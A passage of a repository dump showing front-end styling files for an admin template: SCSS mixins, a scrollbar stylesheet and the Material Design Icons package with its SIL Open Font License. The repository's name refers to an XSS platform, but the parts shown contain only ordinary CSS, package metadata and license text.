32 | border-radius: 0;
33 | font-size: .9375rem;
34 | }
35 | }
36 | .auth-form-btn {
37 | height: 50px;
38 | line-height: 1.5;
39 | }
40 | .auth-link {
41 | font-size: $default-font-size;
42 | &:hover {
43 | color: initial;
44 | }
45 | }
46 | }
47 | }
--------------------------------------------------------------------------------
/static/user/scss/mixins/_animation.scss:
--------------------------------------------------------------------------------
1 | /* Animation Mixins */
2 | @keyframes dropdownAnimation {
3 | from {
4 | opacity: 0;
5 | transform: translate3d(0, -30px, 0);
6 | }
7 |
8 | to {
9 | opacity: 1;
10 | transform: none;
11 | transform: translate3d(0, 0px, 0);
12 | }
13 | }
14 |
15 | .dropdownAnimation {
16 | animation-name: dropdownAnimation;
17 | @include animation-duration($action-transition-duration);
18 | @include animation-fill-mode(both);
19 | }
20 | @mixin transition($settings) {
21 | -webkit-transition: $settings;
22 | -moz-transition: $settings;
23 | -ms-transition: $settings;
24 | -o-transition: $settings;
25 | transition: $settings;
26 | }
27 | @keyframes fadeOut {
28 | from {
29 | opacity: 1;
30 | }
31 |
32 | to {
33 | opacity: 0;
34 | }
35 | }
36 |
37 | .fadeOut {
38 | animation-name: fadeOut;
39 | }
40 |
41 | .infinite-spin {
42 | @keyframes spin {
43 | from {
44 | transform: rotate(0deg);
45 | }
46 |
47 | to {
48 | transform: rotate(360deg);
49 | }
50 | }
51 | animation-name: spin;
52 | animation-duration: 3s;
53 | animation-iteration-count: infinite;
54 | animation-timing-function: linear;
55 | }
56 | @keyframes fadeInUp {
57 | from {
58 | opacity: 0;
59 | transform: translate3d(0, 100%, 0);
60 | }
61 |
62 | to {
63 | opacity: 1;
64 | transform: none;
65 | }
66 | }
67 |
68 | .fadeInUp {
69 | animation-name: fadeInUp;
70 | }
--------------------------------------------------------------------------------
/static/user/scss/mixins/_background.scss:
--------------------------------------------------------------------------------
1 | // Background Mixins //
2 |
--------------------------------------------------------------------------------
/static/user/scss/mixins/_badges.scss:
--------------------------------------------------------------------------------
1 | //Badge Mixins
2 |
3 | //Badge vriations
4 | @mixin badge-variations($color) {
5 | border: 1px solid $color;
6 | color: $white;
7 | }
8 | // Badge outlined variations
9 | @mixin badge-outline-variations($color) {
10 | color: $color;
11 | border: 1px solid $color;
12 | }
13 | // Badge outlined variations
14 | @mixin badge-gradient-variations($color) {
15 | background: $color;
16 | color: $white;
17 | }
--------------------------------------------------------------------------------
/static/user/scss/mixins/_blockqoute.scss:
--------------------------------------------------------------------------------
1 | // BlockQuote Mixins //
2 |
3 | @mixin blockquote($color) {
4 | border-color: $color;
5 | .blockquote-footer {
6 | color: $color;
7 | }
8 | }
9 |
--------------------------------------------------------------------------------
/static/user/scss/mixins/_buttons.scss:
--------------------------------------------------------------------------------
1 | @mixin social-button($color) {
2 | background: $color;
3 | color: $white;
4 |
5 | &:hover,
6 | &:focus {
7 | background: darken($color, 10%);
8 | color: $white;
9 | }
10 | &.btn-social-icon-text {
11 | padding: 0 1.5rem 0 0;
12 | background: lighten($color, 10%);
13 | i {
14 | background: $color;
15 | padding: .75rem;
16 | display: inline-block;
17 | margin-right: 1.5rem;
18 | }
19 | }
20 | }
21 | @mixin social-outline-button($color) {
22 | border: 1px solid $color;
23 | color: $color;
24 | &:hover {
25 | background: $color;
26 | color: $white;
27 | }
28 | }
29 | @mixin button-inverse-variant($color, $color-hover: $white) {
30 | background-color: rgba($color, 0.2);
31 | background-image: none;
32 | border-color: rgba($color, 0);
33 | &:not(.btn-inverse-light) {
34 | color: $color;
35 | }
36 | @include hover {
37 | color: $color-hover;
38 | background-color: $color;
39 | border-color: $color;
40 | }
41 |
42 | &.focus,
43 | &:focus {
44 | box-shadow: 0 0 0 3px rgba($color, .5);
45 | }
46 |
47 | &.disabled,
48 | &:disabled {
49 | color: $color;
50 | background-color: transparent;
51 | }
52 |
53 | &.active,
54 | &:active,
55 | .show > &.dropdown-toggle {
56 | color: $color-hover;
57 | background-color: $color;
58 | border-color: $color;
59 | }
60 | }
61 | @mixin button-gradient-variant($value) {
62 | background: $value;
63 | border: 0;
64 | &:not([disabled]):not(.disabled):active,
65 | &:not([disabled]):not(.disabled).active,
66 | .show > &.dropdown-toggle {
67 | background: $value;
68 | }
69 | &:hover {
70 | opacity: .8;
71 | }
72 | &:not(.btn-gradient-light) {
73 | color: $white;
74 | &:hover,
75 | &:focus,
76 | &:active {
77 | color: $white;
78 | }
79 | }
80 | @include transition(opacity .3s ease);
81 | }
82 |
--------------------------------------------------------------------------------
/static/user/scss/mixins/_cards.scss:
--------------------------------------------------------------------------------
1 | // Cards Mixins
2 |
3 | @mixin card-inverse-variant($bg, $border, $color) {
4 | background: $bg;
5 | border: 1px solid $border;
6 | color: $color;
7 | }
8 |
--------------------------------------------------------------------------------
/static/user/scss/mixins/_misc.scss:
--------------------------------------------------------------------------------
1 | /* Miscellaneous Mixins */
2 |
3 | // general transform
4 | @mixin transform($transforms) {
5 | -moz-transform: $transforms;
6 | -o-transform: $transforms;
7 | -ms-transform: $transforms;
8 | -webkit-transform: $transforms;
9 | transform: $transforms;
10 | }
11 |
12 | // rotate
13 | @mixin rotate ($deg) {
14 | @include transform(rotate(#{$deg}deg));
15 | }
16 |
17 | // scale
18 | @mixin scale($scale) {
19 | @include transform(scale($scale));
20 | }
21 | // translate
22 | @mixin translate ($x, $y) {
23 | @include transform(translate($x, $y));
24 | }
25 | // skew
26 | @mixin skew ($x, $y) {
27 | @include transform(skew(#{$x}deg, #{$y}deg));
28 | }
29 | //transform origin
30 | @mixin transform-origin ($origin) {
31 | moz-transform-origin: $origin;
32 | -o-transform-origin: $origin;
33 | -ms-transform-origin: $origin;
34 | -webkit-transform-origin: $origin;
35 | transform-origin: $origin;
36 | }
37 | //Ellipsis
38 | %ellipsor{
39 | text-overflow: ellipsis;
40 | overflow: hidden;
41 | max-width:100%;
42 | white-space: nowrap;
43 | }
44 |
45 | // Placeholder
46 | @mixin placeholder {
47 | &::-webkit-input-placeholder {
48 | @content
49 | }
50 | &:-moz-placeholder {
51 | @content
52 | }
53 | &::-moz-placeholder {
54 | @content
55 | }
56 | &:-ms-input-placeholder {
57 | @content
58 | }
59 | }
--------------------------------------------------------------------------------
/static/user/scss/style.scss:
--------------------------------------------------------------------------------
1 | /*------------------------------------------------------------------
2 | [Master Stylesheet]
3 |
4 | Project: Purple Admin
5 | Version: 2.0.0
6 | -------------------------------------------------------------------*/
7 |
8 |
9 |
10 | /*-------------------------------------------------------------------
11 | ===== Table of Contents =====
12 |
13 | * Bootstrap functions
14 | * Template variables
15 | * SCSS Compass Functions
16 | * Boostrap Main SCSS
17 | * Template mixins
18 | + Animation Mixins
19 | + Background Mixins
20 | + Badge Mixins
21 | + Button Mixins
22 | + Miscellaneous Mixins
23 | + BlockQuote Mixins
24 | + Cards Mixins
25 | + Color Functions Mixins
26 | + Tooltips
27 | + popovers
28 | * Core Styles
29 | + Reset Styles
30 | + Fonts
31 | + Functions
32 | + Backgrounds
33 | + Sidebar
34 | + Navbar
35 | + Typography
36 | + Miscellaneous
37 | + Footer
38 | + Layouts
39 | + Utilities
40 | + Demo styles
41 | * Components
42 | + Badges
43 | + Boostrap Progress
44 | + Buttons
45 | + Cards
46 | + Checkboxes and Radios
47 | + Dropdowns
48 | + Forms
49 | + Icons
50 | + Lists
51 | + Preview
52 | + Tables
53 | * Landing screens
54 | + Auth
55 | -------------------------------------------------------------------*/
56 |
57 |
58 | /*-------------------------------------------------------------------*/
59 | /* === Import Bootstrap functions and variables === */
60 | @import "../node_modules/bootstrap/scss/functions";
61 | @import "../node_modules/bootstrap/scss/variables";
62 |
63 | /*-------------------------------------------------------------------*/
64 | /* === Import template variables === */
65 | @import "variables";
66 |
67 | /*-------------------------------------------------------------------*/
68 | /* === SCSS Compass Functions === */
69 | @import "../node_modules/compass-mixins/lib/compass";
70 | @import "../node_modules/compass-mixins/lib/animate";
71 |
72 | /*-------------------------------------------------------------------*/
73 | /* === Boostrap Main SCSS === */
74 | @import "../node_modules/bootstrap/scss/bootstrap";
75 |
76 | /*-------------------------------------------------------------------*/
77 | /* === Template mixins === */
78 | @import "mixins/misc";
79 | @import "mixins/animation";
80 | @import "mixins/background";
81 | @import "mixins/badges";
82 | @import "mixins/blockqoute";
83 | @import "mixins/buttons";
84 | @import "mixins/cards";
85 |
86 | /*-------------------------------------------------------------------*/
87 | /* === Core Styles === */
88 | @import "reset";
89 | @import "fonts";
90 | @import "functions";
91 | @import "background";
92 | @import "sidebar";
93 | @import "navbar";
94 | @import "typography";
95 | @import "misc";
96 | @import "footer";
97 | @import "utilities";
98 | @import "demo";
99 |
100 | /*-------------------------------------------------------------------*/
101 | /* === Components === */
102 | @import "components/badges";
103 | @import "components/bootstrap-progress";
104 | @import "components/buttons";
105 | @import "components/cards";
106 | @import "components/checkbox-radio";
107 | @import "components/dropdown";
108 | @import "components/forms";
109 | @import "components/icons";
110 | @import "components/lists";
111 | @import "components/preview";
112 | @import "components/tables";
113 |
114 | /*-------------------------------------------------------------------*/
115 | /* === Landing screens === */
116 | @import "landing-screens/auth";
117 |
--------------------------------------------------------------------------------
/static/user/vendors/css/vendor.bundle.base.css:
--------------------------------------------------------------------------------
1 | /*
2 | * Container style
3 | */
4 | .ps {
5 | overflow: hidden !important;
6 | overflow-anchor: none;
7 | -ms-overflow-style: none;
8 | touch-action: auto;
9 | -ms-touch-action: auto;
10 | }
11 |
12 | /*
13 | * Scrollbar rail styles
14 | */
15 | .ps__rail-x {
16 | display: none;
17 | opacity: 0;
18 | transition: background-color .2s linear, opacity .2s linear;
19 | -webkit-transition: background-color .2s linear, opacity .2s linear;
20 | height: 15px;
21 | /* there must be 'bottom' or 'top' for ps__rail-x */
22 | bottom: 0px;
23 | /* please don't change 'position' */
24 | position: absolute;
25 | }
26 |
27 | .ps__rail-y {
28 | display: none;
29 | opacity: 0;
30 | transition: background-color .2s linear, opacity .2s linear;
31 | -webkit-transition: background-color .2s linear, opacity .2s linear;
32 | width: 15px;
33 | /* there must be 'right' or 'left' for ps__rail-y */
34 | right: 0;
35 | /* please don't change 'position' */
36 | position: absolute;
37 | }
38 |
39 | .ps--active-x > .ps__rail-x,
40 | .ps--active-y > .ps__rail-y {
41 | display: block;
42 | background-color: transparent;
43 | }
44 |
45 | .ps:hover > .ps__rail-x,
46 | .ps:hover > .ps__rail-y,
47 | .ps--focus > .ps__rail-x,
48 | .ps--focus > .ps__rail-y,
49 | .ps--scrolling-x > .ps__rail-x,
50 | .ps--scrolling-y > .ps__rail-y {
51 | opacity: 0.6;
52 | }
53 |
54 | .ps__rail-x:hover,
55 | .ps__rail-y:hover,
56 | .ps__rail-x:focus,
57 | .ps__rail-y:focus {
58 | background-color: #eee;
59 | opacity: 0.9;
60 | }
61 |
62 | /*
63 | * Scrollbar thumb styles
64 | */
65 | .ps__thumb-x {
66 | background-color: #aaa;
67 | border-radius: 6px;
68 | transition: background-color .2s linear, height .2s ease-in-out;
69 | -webkit-transition: background-color .2s linear, height .2s ease-in-out;
70 | height: 6px;
71 | /* there must be 'bottom' for ps__thumb-x */
72 | bottom: 2px;
73 | /* please don't change 'position' */
74 | position: absolute;
75 | }
76 |
77 | .ps__thumb-y {
78 | background-color: #aaa;
79 | border-radius: 6px;
80 | transition: background-color .2s linear, width .2s ease-in-out;
81 | -webkit-transition: background-color .2s linear, width .2s ease-in-out;
82 | width: 6px;
83 | /* there must be 'right' for ps__thumb-y */
84 | right: 2px;
85 | /* please don't change 'position' */
86 | position: absolute;
87 | }
88 |
89 | .ps__rail-x:hover > .ps__thumb-x,
90 | .ps__rail-x:focus > .ps__thumb-x {
91 | background-color: #999;
92 | height: 11px;
93 | }
94 |
95 | .ps__rail-y:hover > .ps__thumb-y,
96 | .ps__rail-y:focus > .ps__thumb-y {
97 | background-color: #999;
98 | width: 11px;
99 | }
100 |
101 | /* MS supports */
102 | @supports (-ms-overflow-style: none) {
103 | .ps {
104 | overflow: auto !important;
105 | }
106 | }
107 |
108 | @media screen and (-ms-high-contrast: active), (-ms-high-contrast: none) {
109 | .ps {
110 | overflow: auto !important;
111 | }
112 | }
113 |
--------------------------------------------------------------------------------
/static/user/vendors/iconfonts/mdi/bower.json:
--------------------------------------------------------------------------------
1 | {
2 | "name": "mdi",
3 | "version": "2.1.19",
4 | "main": [
5 | "scss/materialdesignicons.scss"
6 | ],
7 | "homepage": "http://materialdesignicons.com",
8 | "authors": [
9 | { "name": "Austin Andrews", "homepage": "http://templarian.com" },
10 | { "name": "Google", "homepage": "http://www.google.com/design" }
11 | ],
12 | "license": ["OFL-1.1", "MIT"],
13 | "ignore": [
14 | "*.md",
15 | "*.json"
16 | ],
17 | "keywords": [
18 | "material",
19 | "design",
20 | "icons",
21 | "webfont"
22 | ]
23 | }
24 |
--------------------------------------------------------------------------------
/static/user/vendors/iconfonts/mdi/fonts/materialdesignicons-webfont.eot:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/HackerYunen/Django-XSS-Platform/54f45b1c8323b4e33ab8e84a34d5ed792a91355b/static/user/vendors/iconfonts/mdi/fonts/materialdesignicons-webfont.eot
--------------------------------------------------------------------------------
/static/user/vendors/iconfonts/mdi/fonts/materialdesignicons-webfont.ttf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/HackerYunen/Django-XSS-Platform/54f45b1c8323b4e33ab8e84a34d5ed792a91355b/static/user/vendors/iconfonts/mdi/fonts/materialdesignicons-webfont.ttf
--------------------------------------------------------------------------------
/static/user/vendors/iconfonts/mdi/fonts/materialdesignicons-webfont.woff:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/HackerYunen/Django-XSS-Platform/54f45b1c8323b4e33ab8e84a34d5ed792a91355b/static/user/vendors/iconfonts/mdi/fonts/materialdesignicons-webfont.woff
--------------------------------------------------------------------------------
/static/user/vendors/iconfonts/mdi/fonts/materialdesignicons-webfont.woff2:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/HackerYunen/Django-XSS-Platform/54f45b1c8323b4e33ab8e84a34d5ed792a91355b/static/user/vendors/iconfonts/mdi/fonts/materialdesignicons-webfont.woff2
--------------------------------------------------------------------------------
/static/user/vendors/iconfonts/mdi/license.md:
--------------------------------------------------------------------------------
1 | Copyright (c) 2014, Austin Andrews (http://materialdesignicons.com/),
2 | with Reserved Font Name Material Design Icons.
3 |
4 | Copyright (c) 2014, Google (http://www.google.com/design/)
5 | uses the license at https://github.com/google/material-design-icons/blob/master/LICENSE
6 |
7 | This Font Software is licensed under the SIL Open Font License, Version 1.1.
8 | This license is copied below, and is also available with a FAQ at:
9 | http://scripts.sil.org/OFL
10 |
11 |
12 | -----------------------------------------------------------
13 | SIL OPEN FONT LICENSE Version 1.1 - 26 February 2007
14 | -----------------------------------------------------------
15 |
16 | PREAMBLE
17 | The goals of the Open Font License (OFL) are to stimulate worldwide
18 | development of collaborative font projects, to support the font creation
19 | efforts of academic and linguistic communities, and to provide a free and
20 | open framework in which fonts may be shared and improved in partnership
21 | with others.
22 |
23 | The OFL allows the licensed fonts to be used, studied, modified and
24 | redistributed freely as long as they are not sold by themselves. The
25 | fonts, including any derivative works, can be bundled, embedded,
26 | redistributed and/or sold with any software provided that any reserved
27 | names are not used by derivative works. The fonts and derivatives,
28 | however, cannot be released under any other type of license. The
29 | requirement for fonts to remain under this license does not apply
30 | to any document created using the fonts or their derivatives.
31 |
32 | DEFINITIONS
33 | "Font Software" refers to the set of files released by the Copyright
34 | Holder(s) under this license and clearly marked as such. This may
35 | include source files, build scripts and documentation.
36 |
37 | "Reserved Font Name" refers to any names specified as such after the
38 | copyright statement(s).
39 |
40 | "Original Version" refers to the collection of Font Software components as
41 | distributed by the Copyright Holder(s).
42 |
43 | "Modified Version" refers to any derivative made by adding to, deleting,
44 | or substituting -- in part or in whole -- any of the components of the
45 | Original Version, by changing formats or by porting the Font Software to a
46 | new environment.
47 |
48 | "Author" refers to any designer, engineer, programmer, technical
49 | writer or other person who contributed to the Font Software.
50 |
51 | PERMISSION & CONDITIONS
52 | Permission is hereby granted, free of charge, to any person obtaining
53 | a copy of the Font Software, to use, study, copy, merge, embed, modify,
54 | redistribute, and sell modified and unmodified copies of the Font
55 | Software, subject to the following conditions:
56 |
57 | 1) Neither the Font Software nor any of its individual components,
58 | in Original or Modified Versions, may be sold by itself.
59 |
60 | 2) Original or Modified Versions of the Font Software may be bundled,
61 | redistributed and/or sold with any software, provided that each copy
62 | contains the above copyright notice and this license. These can be
63 | included either as stand-alone text files, human-readable headers or
64 | in the appropriate machine-readable metadata fields within text or
65 | binary files as long as those fields can be easily viewed by the user.
66 |
67 | 3) No Modified Version of the Font Software may use the Reserved Font
68 | Name(s) unless explicit written permission is granted by the corresponding
69 | Copyright Holder. This restriction only applies to the primary font name as
70 | presented to the users.
71 |
72 | 4) The name(s) of the Copyright Holder(s) or the Author(s) of the Font
73 | Software shall not be used to promote, endorse or advertise any
74 | Modified Version, except to acknowledge the contribution(s) of the
75 | Copyright Holder(s) and the Author(s) or with their explicit written
76 | permission.
77 |
78 | 5) The Font Software, modified or unmodified, in part or in whole,
79 | must be distributed entirely under this license, and must not be
80 | distributed under any other license. The requirement for fonts to
81 | remain under this license does not apply to any document created
82 | using the Font Software.
83 |
84 | TERMINATION
85 | This license becomes null and void if any of the above conditions are
86 | not met.
87 |
88 | DISCLAIMER
89 | THE FONT SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
90 | EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO ANY WARRANTIES OF
91 | MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT
92 | OF COPYRIGHT, PATENT, TRADEMARK, OR OTHER RIGHT. IN NO EVENT SHALL THE
93 | COPYRIGHT HOLDER BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,
94 | INCLUDING ANY GENERAL, SPECIAL, INDIRECT, INCIDENTAL, OR CONSEQUENTIAL
95 | DAMAGES, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
96 | FROM, OUT OF THE USE OR INABILITY TO USE THE FONT SOFTWARE OR FROM
97 | OTHER DEALINGS IN THE FONT SOFTWARE.
--------------------------------------------------------------------------------
/static/user/vendors/iconfonts/mdi/package.json:
--------------------------------------------------------------------------------
1 | {
2 | "_args": [
3 | [
4 | "mdi@2.1.19",
5 | "/Users/linsa/project/purple_free"
6 | ]
7 | ],
8 | "_from": "mdi@2.1.19",
9 | "_id": "mdi@2.1.19",
10 | "_inBundle": false,
11 | "_integrity": "sha512-WErwab4jq/jcCeo4aecQ5UH1WXu2Eto5Rdb0AiBFcUw8CHmF/UeV+hf9wKyH17X+c3Z+jaS3jDKW7fu0R0HmWQ==",
12 | "_location": "/mdi",
13 | "_phantomChildren": {},
14 | "_requested": {
15 | "type": "version",
16 | "registry": true,
17 | "raw": "mdi@2.1.19",
18 | "name": "mdi",
19 | "escapedName": "mdi",
20 | "rawSpec": "2.1.19",
21 | "saveSpec": null,
22 | "fetchSpec": "2.1.19"
23 | },
24 | "_requiredBy": [
25 | "/"
26 | ],
27 | "_resolved": "https://registry.npmjs.org/mdi/-/mdi-2.1.19.tgz",
28 | "_spec": "2.1.19",
29 | "_where": "/Users/linsa/project/purple_free",
30 | "author": {
31 | "name": "Austin Andrews",
32 | "url": "http://twitter.com/templarian"
33 | },
34 | "bugs": {
35 | "url": "https://github.com/Templarian/MaterialDesign/issues"
36 | },
37 | "description": "Dist for Material Design Webfont. This includes the Stock and Community icons in a single webfont collection.",
38 | "homepage": "http://materialdesignicons.com",
39 | "keywords": [
40 | "material",
41 | "design",
42 | "icons",
43 | "webfont"
44 | ],
45 | "licenses": [
46 | {
47 | "type": "OFL-1.1",
48 | "url": "http://scripts.sil.org/OFL"
49 | },
50 | {
51 | "type": "MIT",
52 | "url": "http://opensource.org/licenses/mit-license.html"
53 | }
54 | ],
55 | "main": "preview.html",
56 | "name": "mdi",
57 | "repository": {
58 | "type": "git",
59 | "url": "git+https://github.com/Templarian/MaterialDesign-Webfont.git"
60 | },
61 | "scripts": {
62 | "test": "echo \"Error: no test specified\" && exit 1"
63 | },
64 | "style": "css/materialdesignicons.css",
65 | "version": "2.1.19"
66 | }
67 |
--------------------------------------------------------------------------------
/static/user/vendors/iconfonts/mdi/scss/_animated.scss:
--------------------------------------------------------------------------------
1 | // From Font Awesome
2 | .#{$mdi-css-prefix}-spin:before {
3 | -webkit-animation: #{$mdi-css-prefix}-spin 2s infinite linear;
4 | animation: #{$mdi-css-prefix}-spin 2s infinite linear;
5 | }
6 |
7 | @-webkit-keyframes #{$mdi-css-prefix}-spin {
8 | 0% {
9 | -webkit-transform: rotate(0deg);
10 | transform: rotate(0deg);
11 | }
12 | 100% {
13 | -webkit-transform: rotate(359deg);
14 | transform: rotate(359deg);
15 | }
16 | }
17 |
18 | @keyframes #{$mdi-css-prefix}-spin {
19 | 0% {
20 | -webkit-transform: rotate(0deg);
21 | transform: rotate(0deg);
22 | }
23 | 100% {
24 | -webkit-transform: rotate(359deg);
25 | transform: rotate(359deg);
26 | }
27 | }
--------------------------------------------------------------------------------
/static/user/vendors/iconfonts/mdi/scss/_core.scss:
--------------------------------------------------------------------------------
1 | .#{$mdi-css-prefix}:before,
2 | .#{$mdi-css-prefix}-set {
3 | display: inline-block;
4 | font: normal normal normal #{$mdi-font-size-base}/1 '#{$mdi-font-name}'; // shortening font declaration
5 | font-size: inherit; // can't have font-size inherit on line above, so need to override
6 | text-rendering: auto; // optimizelegibility throws things off #1094
7 | line-height: inherit;
8 | -webkit-font-smoothing: antialiased;
9 | -moz-osx-font-smoothing: grayscale;
10 | }
--------------------------------------------------------------------------------
/static/user/vendors/iconfonts/mdi/scss/_extras.scss:
--------------------------------------------------------------------------------
1 | $sizes: 18 24 36 48;
2 | @each $size in $sizes {
3 | .#{$mdi-css-prefix}-#{$size}px {
4 | &.#{$mdi-css-prefix}-set,
5 | &.#{$mdi-css-prefix}:before {
6 | font-size: $size * 1px;
7 | }
8 | }
9 | }
10 |
11 | .#{$mdi-css-prefix}-dark {
12 | &:before {
13 | color: rgba(0, 0, 0, 0.54);
14 | }
15 | &.mdi-inactive:before {
16 | color: rgba(0, 0, 0, 0.26);
17 | }
18 | }
19 | .#{$mdi-css-prefix}-light {
20 | &:before {
21 | color: rgba(255, 255, 255, 1);
22 | }
23 | &.mdi-inactive:before {
24 | color: rgba(255, 255, 255, 0.3);
25 | }
26 | }
27 |
28 | $degrees: 45 90 135 180 225 270 315;
29 | @each $degree in $degrees {
30 | .#{$mdi-css-prefix}-rotate-#{$degree}{
31 | &:before {
32 | -webkit-transform: rotate(#{$degree}deg);
33 | -ms-transform: rotate(#{$degree}deg);
34 | transform: rotate(#{$degree}deg);
35 | }
36 | /*
37 | // Not included in production
38 | &.#{$mdi-css-prefix}-flip-h:before {
39 | -webkit-transform: scaleX(-1) rotate(#{$degree}deg);
40 | transform: scaleX(-1) rotate(#{$degree}deg);
41 | filter: FlipH;
42 | -ms-filter: "FlipH";
43 | }
44 | &.#{$mdi-css-prefix}-flip-v:before {
45 | -webkit-transform: scaleY(-1) rotate(#{$degree}deg);
46 | -ms-transform: rotate(#{$degree}deg);
47 | transform: scaleY(-1) rotate(#{$degree}deg);
48 | filter: FlipV;
49 | -ms-filter: "FlipV";
50 | }
51 | */
52 | }
53 | }
54 | .#{$mdi-css-prefix}-flip-h:before {
55 | -webkit-transform: scaleX(-1);
56 | transform: scaleX(-1);
57 | filter: FlipH;
58 | -ms-filter: "FlipH";
59 | }
60 | .#{$mdi-css-prefix}-flip-v:before {
61 | -webkit-transform: scaleY(-1);
62 | transform: scaleY(-1);
63 | filter: FlipV;
64 | -ms-filter: "FlipV";
65 | }
--------------------------------------------------------------------------------
/static/user/vendors/iconfonts/mdi/scss/_functions.scss:
--------------------------------------------------------------------------------
1 | @function char($character-code) {
2 | @if function-exists("selector-append") {
3 | @return unquote("\"\\#{$character-code}\"");
4 | }
5 |
6 | @if "\\#{'x'}" == "\\x" {
7 | @return str-slice("\x", 1, 1) + $character-code;
8 | }
9 | @else {
10 | @return #{"\"\\"}#{$character-code + "\""};
11 | }
12 | }
13 |
14 | @function mdi($name) {
15 | @if map-has-key($mdi-icons, $name) == false {
16 | @warn "Icon #{$name} not found.";
17 | @return "";
18 | }
19 | @return char(map-get($mdi-icons, $name));
20 | }
--------------------------------------------------------------------------------
/static/user/vendors/iconfonts/mdi/scss/_icons.scss:
--------------------------------------------------------------------------------
1 | @each $key, $value in $mdi-icons {
2 | .#{$mdi-css-prefix}-#{$key}:before {
3 | content: char($value);
4 | }
5 | }
6 |
7 | .#{$mdi-css-prefix}-blank:before {
8 | content: "\F68C";
9 | visibility: hidden;
10 | }
--------------------------------------------------------------------------------
/static/user/vendors/iconfonts/mdi/scss/_path.scss:
--------------------------------------------------------------------------------
1 | @font-face {
2 | font-family: '#{$mdi-font-name}';
3 | src: url('#{$mdi-font-path}/#{$mdi-filename}-webfont.eot?v=#{$mdi-version}');
4 | src: url('#{$mdi-font-path}/#{$mdi-filename}-webfont.eot?#iefix&v=#{$mdi-version}') format('embedded-opentype'),
5 | url('#{$mdi-font-path}/#{$mdi-filename}-webfont.woff2?v=#{$mdi-version}') format('woff2'),
6 | url('#{$mdi-font-path}/#{$mdi-filename}-webfont.woff?v=#{$mdi-version}') format('woff'),
7 | url('#{$mdi-font-path}/#{$mdi-filename}-webfont.ttf?v=#{$mdi-version}') format('truetype'),
8 | url('#{$mdi-font-path}/#{$mdi-filename}-webfont.svg?v=#{$mdi-version}##{$mdi-filename}#{$mdi-font-weight}') format('svg');
9 | font-weight: normal;
10 | font-style: normal;
11 | }
12 |
--------------------------------------------------------------------------------
/static/user/vendors/iconfonts/mdi/scss/materialdesignicons.scss:
--------------------------------------------------------------------------------
1 | /* MaterialDesignIcons.com */
2 | @import "variables";
3 | @import "functions";
4 | @import "path";
5 | @import "core";
6 | @import "icons";
7 | @import "extras";
8 | @import "animated";
--------------------------------------------------------------------------------
/templates/index/index.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
23 |
24 |
25 |
26 |
27 |
28 |
29 |
37 |
38 |
39 |
40 |
41 |
42 |
43 |
51 |
52 |
53 |